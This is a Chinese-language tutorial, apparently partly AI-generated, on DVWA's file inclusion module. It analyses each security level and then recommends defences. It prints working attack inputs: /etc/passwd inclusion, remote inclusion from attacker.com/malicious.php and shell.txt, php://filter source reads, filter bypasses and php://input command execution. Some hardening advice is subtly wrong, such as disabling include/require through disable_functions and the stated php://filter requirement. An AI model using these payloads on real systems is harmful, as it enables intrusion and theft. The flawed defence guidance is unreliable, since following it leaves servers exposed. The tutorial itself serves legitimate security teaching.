DVWA文件包含漏洞防御:使用PHP伪协议与流过滤
【免费下载链接】DVWA 项目地址: https://gitcode.com/gh_mirrors/dvwa/DVWA
1. 漏洞背景与危害
文件包含漏洞(File Inclusion Vulnerability)是Web应用中常见的高风险漏洞之一,当服务器执行PHP文件时,能够通过PHP的文件包含函数(如include()、require()等)将任意文件包含并执行。这种漏洞可能导致攻击者读取敏感文件、执行恶意代码,甚至完全控制服务器。
在DVWA(Damn Vulnerable Web Application)靶场中,文件包含(File Inclusion)模块展示了不同安全级别下的实现方式,为安全研究人员和开发者提供了学习和实践防御技术的绝佳场景。
2. DVWA文件包含漏洞代码分析
2.1 Low级别:完全无防御
Low级别的代码直接接收用户输入的page参数,没有任何过滤和验证:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
这种实现允许攻击者通过构造恶意的page参数来包含任意文件,例如:
- 本地文件包含:
?page=/etc/passwd - 远程文件包含:
?page=http://attacker.com/malicious.php - PHP伪协议利用:
?page=php://filter/read=convert.base64-encode/resource=index.php
2.2 Medium级别:基础字符串过滤
Medium级别增加了简单的字符串替换过滤,但防御措施仍不完善:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
虽然过滤了http://、https://和路径遍历字符../、..\,但攻击者可以通过以下方式绕过:
- 双写绕过:
?page=hhttp://ttp://attacker.com/malicious.php - 大小写混合:
?page=Http://attacker.com/malicious.php - 其他伪协议:
?page=php://input配合POST数据执行命令
2.3 High级别:文件名模式匹配
High级别使用fnmatch()函数进行文件名模式匹配,限制文件名为"file*"或"include.php":
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这种防御看似严格,但仍可通过PHP伪协议绕过:
?page=file:///etc/passwd?page=php://filter/convert.base64-encode/resource=file1.php
2.4 Impossible级别:白名单完全防御
Impossible级别采用了严格的白名单机制,只允许包含指定的文件:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
白名单机制是防御文件包含漏洞的最有效方法之一,但实现成本较高,需要维护允许访问的文件列表。
3. PHP伪协议与流过滤技术详解
3.1 PHP伪协议概述
PHP提供了多种内置的URL风格的封装协议(伪协议),这些协议可以用于访问不同的资源。在文件包含漏洞中,攻击者常利用以下伪协议:
| 伪协议 | 作用 | 利用条件 |
|---|---|---|
php://filter | 用于读取源码并进行base64编码输出 | allow_url_fopen=On |
php://input | 可以访问请求的原始数据,配合POST提交PHP代码 | allow_url_include=On |
file:// | 访问本地文件系统 | 无特殊限制 |
data:// | 数据流封装器,可传递数据 | allow_url_include=On |
zip:// | 访问压缩文件中的内容 | allow_url_fopen=On |
3.2 php://filter深度应用
php://filter是一个元封装器,用于对数据流进行过滤处理。在文件包含漏洞中,常用于读取PHP文件的源码:
基本语法:
php://filter/[read=filter1|filter2...]/resource=目标文件
常用过滤器组合:
- 读取并base64编码输出:
php://filter/read=convert.base64-encode/resource=index.php - 读取并rot13编码输出:
php://filter/read=string.rot13/resource=config.php - 多重过滤:
php://filter/read=convert.base64-encode|string.toupper/resource=index.php
示例:读取DVWA配置文件
?page=php://filter/read=convert.base64-encode/resource=../../config/config.inc.php
3.3 流过滤技术防御
PHP的流过滤技术可以在数据读取过程中对数据流进行处理,从而防御文件包含漏洞:
- 使用
filter_var()函数验证输入:
$file = filter_var($_GET['page'], FILTER_SANITIZE_STRING);
- 自定义流过滤器:
stream_filter_register('security_filter', 'SecurityFilter');
class SecurityFilter extends php_user_filter {
function filter($in, $out, &$consumed, $closing) {
// 过滤逻辑
while ($bucket = stream_bucket_make_writeable($in)) {
$data = preg_replace('/malicious_pattern/', '', $bucket->data);
$bucket->data = $data;
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}
// 使用过滤器
include 'php://filter/security_filter/resource=' . $file;
4. 防御策略与最佳实践
4.1 多层次防御体系
构建多层次防御体系是防范文件包含漏洞的关键:
4.2 具体防御措施
- 使用白名单验证(推荐):
$allowed_files = array('home.php', 'about.php', 'contact.php');
$file = $_GET['page'];
if (in_array($file, $allowed_files)) {
include $file;
} else {
include 'default.php';
}
- 路径规范化:
$base_dir = '/var/www/allowed_files/';
$file = realpath($base_dir . $_GET['page']);
// 检查解析后的路径是否在允许的目录内
if (strpos($file, $base_dir) === 0) {
include $file;
} else {
die('Access denied');
}
- 禁用危险函数和配置: 在php.ini中设置:
allow_url_fopen = Off
allow_url_include = Off
disable_functions = include,include_once,require,require_once
- 使用哈希验证:
$secret_key = 'your_secure_secret_key';
$allowed_files = array(
'home' => 'home.php',
'about' => 'about.php'
);
$page = $_GET['page'];
$hash = $_GET['hash'];
// 验证哈希
if (isset($allowed_files[$page]) && md5($page . $secret_key) === $hash) {
include $allowed_files[$page];
} else {
die('Invalid request');
}
4.3 DVWA防御代码改进
基于DVWA现有代码,改进的Impossible级别防御实现:
<?php
// 允许访问的文件白名单
$allowed_files = array(
'include.php',
'file1.php',
'file2.php',
'file3.php',
'file4.php'
);
// 获取并验证输入
$file = isset($_GET['page']) ? $_GET['page'] : 'include.php';
// 1. 白名单验证
if (!in_array($file, $allowed_files)) {
die("ERROR: File not found!");
}
// 2. 路径规范化
$file_path = realpath(__DIR__ . '/' . $file);
// 3. 目录限制检查
$base_dir = realpath(__DIR__);
if (strpos($file_path, $base_dir) !== 0) {
die("ERROR: Access denied!");
}
// 4. 文件存在性检查
if (!file_exists($file_path)) {
die("ERROR: File not found!");
}
// 5. 安全包含
include $file_path;
?>
5. 实战案例与防御效果测试
5.1 攻击场景模拟
使用Burp Suite模拟不同级别的攻击尝试:
- Low级别攻击测试:
GET /vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../etc/passwd HTTP/1.1
Host: dvwa.local
- Medium级别绕过测试:
GET /vulnerabilities/fi/?page=hhttp://ttp://attacker.com/shell.txt HTTP/1.1
Host: dvwa.local
- High级别绕过测试:
GET /vulnerabilities/fi/?page=file:///etc/passwd HTTP/1.1
Host: dvwa.local
5.2 防御效果评估
对改进后的防御代码进行测试评估:
| 攻击方式 | 未防御 | 基础防御 | 高级防御 | 改进防御 |
|---|---|---|---|---|
| 本地文件包含 | 成功 | 部分拦截 | 部分拦截 | 拦截 |
| 远程文件包含 | 成功 | 部分拦截 | 拦截 | 拦截 |
| PHP伪协议利用 | 成功 | 部分拦截 | 部分拦截 | 拦截 |
| 路径遍历 | 成功 | 拦截 | 拦截 | 拦截 |
| 白名单绕过 | 成功 | 成功 | 部分成功 | 拦截 |
6. 总结与展望
文件包含漏洞是Web应用中极具危险性的安全隐患,通过分析DVWA不同级别下的实现代码,我们可以清晰地看到防御措施从无到有、从弱到强的演进过程。PHP伪协议和流过滤技术为防御此类漏洞提供了灵活而强大的工具,但最佳实践仍是结合白名单验证、路径规范化和权限控制的多层次防御体系。
随着Web技术的发展,文件包含漏洞的利用方式也在不断演变。未来的防御技术可能会更加依赖于机器学习和行为分析,通过识别异常访问模式来提前阻止攻击。同时,开发人员也应该加强安全意识,遵循"最小权限原则",定期更新和修补系统,以构建更加安全可靠的Web应用。
7. 扩展学习资源
-
PHP官方文档:
-
安全标准与指南:
- OWASP Top 10:https://owasp.org/www-project-top-ten/
- CWE-98:不当控制资源标识符的生成与验证
-
实践工具:
- DVWA靶场:https://gitcode.com/gh_mirrors/dvwa/DVWA
- PHP漏洞测试框架:https://github.com/80vul/phpvuln
-
进阶技术:
- PHP内核安全机制分析
- Web应用防火墙(WAF)绕过技术
- 静态代码分析工具开发
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



